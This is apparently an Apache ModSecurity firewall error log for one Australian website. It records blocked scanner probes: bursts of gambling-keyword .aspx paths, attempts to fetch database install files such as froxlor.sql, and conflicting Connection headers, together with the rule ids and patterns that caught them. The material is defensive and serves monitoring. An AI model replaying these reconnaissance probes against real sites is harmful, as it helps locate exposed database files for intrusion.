[Thu Mar 05 07:36:56.934772 2026] [:error] [pid 62177:tid 62322] [client 51.68.235.235:54640] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aajCGBWSQc2OzPrsnwUx4gAAAIs"]
[Thu Mar 05 07:36:59.442338 2026] [:error] [pid 53350:tid 53389] [client 51.68.235.235:54660] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aajCG6O0Baxc5WFYeP2c6QAAAQw"]
[Thu Mar 05 07:37:01.940773 2026] [:error] [pid 41459:tid 41477] [client 51.68.235.235:54674] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aajCHedFBZEnZ3pzxrVOnwAAAUM"]
[Thu Mar 05 07:37:04.445236 2026] [:error] [pid 41459:tid 41487] [client 51.68.235.235:54690] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aajCIOdFBZEnZ3pzxrVOqgAAAU0"]
[Thu Mar 05 07:37:06.933634 2026] [:error] [pid 62435:tid 62461] [client 51.68.235.235:34638] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aajCIiMZJMDfZh_-8sXN3wAAAMs"]
[Thu Mar 05 07:37:09.443908 2026] [:error] [pid 41459:tid 41496] [client 51.68.235.235:34652] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aajCJedFBZEnZ3pzxrVOwQAAAVY"]
[Thu Mar 05 07:37:11.963481 2026] [:error] [pid 41459:tid 41486] [client 51.68.235.235:34664] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aajCJ-dFBZEnZ3pzxrVOygAAAUw"]
[Thu Mar 05 07:37:14.446769 2026] [:error] [pid 62435:tid 62450] [client 51.68.235.235:34676] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aajCKiMZJMDfZh_-8sXN6gAAAMA"]
[Thu Mar 05 07:37:16.937833 2026] [:error] [pid 41459:tid 41476] [client 51.68.235.235:52812] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aajCLOdFBZEnZ3pzxrVO3QAAAUI"]
[Thu Mar 05 07:37:19.271530 2026] [:error] [pid 53350:tid 53385] [client 51.68.235.235:52828] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aajCL6O0Baxc5WFYeP2dGQAAAQk"]
[Thu Mar 05 07:37:21.755280 2026] [:error] [pid 62173:tid 62274] [client 51.68.235.235:52836] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aajCMWj_GWbFb-1ncGlAhQAAABQ"]
[Thu Mar 05 07:37:24.093683 2026] [:error] [pid 62173:tid 62267] [client 51.68.235.235:52852] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aajCNGj_GWbFb-1ncGlAhwAAAA4"]
[Thu Mar 05 07:37:26.570582 2026] [:error] [pid 62177:tid 62316] [client 51.68.235.235:48852] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aajCNhWSQc2OzPrsnwUx_gAAAIU"]
[Thu Mar 05 07:37:29.061457 2026] [:error] [pid 53350:tid 53385] [client 51.68.235.235:48880] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aajCOaO0Baxc5WFYeP2dIgAAAQk"]
[Thu Mar 05 07:37:31.569269 2026] [:error] [pid 62177:tid 62312] [client 51.68.235.235:48894] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aajCOxWSQc2OzPrsnwUyAgAAAIE"]
[Thu Mar 05 07:37:33.926814 2026] [:error] [pid 41459:tid 41492] [client 51.68.235.235:48906] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aajCPedFBZEnZ3pzxrVPDQAAAVI"]
[Thu Mar 05 07:37:36.410990 2026] [:error] [pid 41459:tid 41483] [client 51.68.235.235:38824] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aajCQOdFBZEnZ3pzxrVPGwAAAUk"]
[Thu Mar 05 07:37:38.901545 2026] [:error] [pid 62177:tid 62331] [client 51.68.235.235:38850] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aajCQhWSQc2OzPrsnwUyAwAAAJM"]
[Thu Mar 05 07:37:41.436673 2026] [:error] [pid 62176:tid 62293] [client 51.68.235.235:38862] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aajCRSNfTPJryi30JPmpbwAAAEk"]
[Thu Mar 05 07:37:43.938294 2026] [:error] [pid 62176:tid 62306] [client 51.68.235.235:38888] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aajCRyNfTPJryi30JPmpcAAAAFY"]
[Thu Mar 05 10:16:24.966762 2026] [:error] [pid 62177:tid 62319] [client 43.153.85.46:48168] [client 43.153.85.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aajneBWSQc2OzPrsnwVJmwAAAIg"]
[Thu Mar 05 14:34:59.627249 2026] [:error] [pid 41459:tid 41489] [client 3.236.75.40:35610] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/install/froxlor.sql"] [unique_id "aakkE-dFBZEnZ3pzxrV1sQAAAU8"]
[Thu Mar 05 14:35:00.481966 2026] [:error] [pid 62177:tid 62316] [client 3.236.75.40:35648] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".initial.sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/mysql.initial.sql"] [unique_id "aakkFBWSQc2OzPrsnwWAFQAAAIU"]
[Thu Mar 05 14:40:59.374328 2026] [:error] [pid 62177:tid 62316] [client 51.75.116.205:43714] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaklexWSQc2OzPrsnwWBuQAAAIU"]
[Thu Mar 05 14:41:01.718911 2026] [:error] [pid 53350:tid 53382] [client 51.75.116.205:58864] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaklfaO0Baxc5WFYeP1ztwAAAQc"]
[Thu Mar 05 14:41:04.102477 2026] [:error] [pid 41459:tid 41474] [client 51.75.116.205:58872] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaklgOdFBZEnZ3pzxrV3-wAAAUA"]
[Thu Mar 05 14:41:06.662789 2026] [:error] [pid 62177:tid 62330] [client 51.75.116.205:58874] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaklghWSQc2OzPrsnwWBwQAAAJI"]
[Thu Mar 05 14:41:09.040578 2026] [:error] [pid 53350:tid 53377] [client 51.75.116.205:35872] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaklhaO0Baxc5WFYeP1z3gAAAQI"]
[Thu Mar 05 14:41:11.573989 2026] [:error] [pid 53350:tid 53391] [client 51.75.116.205:35886] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaklh6O0Baxc5WFYeP1z6gAAAQ4"]
[Thu Mar 05 14:41:14.095157 2026] [:error] [pid 53350:tid 53394] [client 51.75.116.205:35898] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aakliqO0Baxc5WFYeP1z8QAAARE"]
[Thu Mar 05 14:41:16.468636 2026] [:error] [pid 62176:tid 62300] [client 51.75.116.205:35910] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aakljCNfTPJryi30JPnW3gAAAFA"]
[Thu Mar 05 14:41:18.988370 2026] [:error] [pid 53350:tid 53400] [client 51.75.116.205:39550] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aakljqO0Baxc5WFYeP1z-wAAARc"]
[Thu Mar 05 14:41:21.514979 2026] [:error] [pid 62177:tid 62334] [client 51.75.116.205:39558] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaklkRWSQc2OzPrsnwWB3AAAAJY"]
[Thu Mar 05 14:41:24.022935 2026] [:error] [pid 62177:tid 62322] [client 51.75.116.205:39574] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aakllBWSQc2OzPrsnwWB4QAAAIs"]
[Thu Mar 05 14:41:26.531600 2026] [:error] [pid 62173:tid 62258] [client 51.75.116.205:39582] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aakllmj_GWbFb-1ncGldqQAAAAY"]
[Thu Mar 05 14:41:29.055916 2026] [:error] [pid 41459:tid 41484] [client 51.75.116.205:48028] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaklmedFBZEnZ3pzxrV4JQAAAUo"]
[Thu Mar 05 14:41:31.557980 2026] [:error] [pid 62173:tid 62275] [client 51.75.116.205:48042] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaklm2j_GWbFb-1ncGldqwAAABU"]
[Thu Mar 05 14:41:34.100376 2026] [:error] [pid 41459:tid 41487] [client 51.75.116.205:48052] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaklnudFBZEnZ3pzxrV4OAAAAU0"]
[Thu Mar 05 14:41:36.453426 2026] [:error] [pid 62177:tid 62328] [client 51.75.116.205:48056] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aakloBWSQc2OzPrsnwWB8QAAAJA"]
[Thu Mar 05 14:41:38.940294 2026] [:error] [pid 53350:tid 53378] [client 51.75.116.205:57052] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aakloqO0Baxc5WFYeP10AwAAAQM"]
[Thu Mar 05 14:41:41.295597 2026] [:error] [pid 62177:tid 62318] [client 51.75.116.205:57062] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaklpRWSQc2OzPrsnwWB-wAAAIc"]
[Thu Mar 05 14:41:43.808705 2026] [:error] [pid 62435:tid 62462] [client 51.75.116.205:57064] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaklpyMZJMDfZh_-8sVHiQAAAMw"]
[Thu Mar 05 14:41:46.309759 2026] [:error] [pid 62435:tid 62452] [client 51.75.116.205:57068] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaklqiMZJMDfZh_-8sVHiwAAAMI"]
[Thu Mar 05 14:41:48.831380 2026] [:error] [pid 62176:tid 62286] [client 51.75.116.205:36606] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaklrCNfTPJryi30JPnW6AAAAEI"]
[Thu Mar 05 16:19:51.470510 2026] [:error] [pid 41459:tid 41490] [client 117.33.163.216:41882] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aak8p-dFBZEnZ3pzxrWnCgAAAVA"]
[Thu Mar 05 19:19:11.079954 2026] [:error] [pid 41459:tid 41475] [client 43.153.54.14:38448] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aalmr-dFBZEnZ3pzxrUZZwAAAUE"]
[Thu Mar 05 21:51:52.383230 2026] [:error] [pid 62177:tid 62317] [client 75.119.155.172:19930] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aamKeBWSQc2OzPrsnwXyoQAAAIY"]
[Thu Mar 05 21:51:54.957382 2026] [:error] [pid 41459:tid 41484] [client 75.119.155.172:19940] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aamKeudFBZEnZ3pzxrVlYgAAAUo"]
[Thu Mar 05 21:51:57.824797 2026] [:error] [pid 8151:tid 8233] [client 75.119.155.172:61996] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aamKfZO3dLEidct1HvCJPAAAAY0"]
[Thu Mar 05 21:52:00.667167 2026] [:error] [pid 8151:tid 8232] [client 75.119.155.172:61998] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aamKgJO3dLEidct1HvCJRQAAAYw"]
[Thu Mar 05 21:52:03.240617 2026] [:error] [pid 8151:tid 8217] [client 75.119.155.172:62010] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aamKg5O3dLEidct1HvCJSwAAAYA"]
[Thu Mar 05 21:52:05.908105 2026] [:error] [pid 41459:tid 41475] [client 75.119.155.172:37042] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aamKhedFBZEnZ3pzxrVlagAAAUE"]
[Thu Mar 05 21:52:08.375133 2026] [:error] [pid 8151:tid 8236] [client 75.119.155.172:37058] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aamKiJO3dLEidct1HvCJWAAAAZA"]
[Thu Mar 05 21:52:11.055448 2026] [:error] [pid 62173:tid 62263] [client 75.119.155.172:37074] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aamKi2j_GWbFb-1ncGl-awAAAAs"]
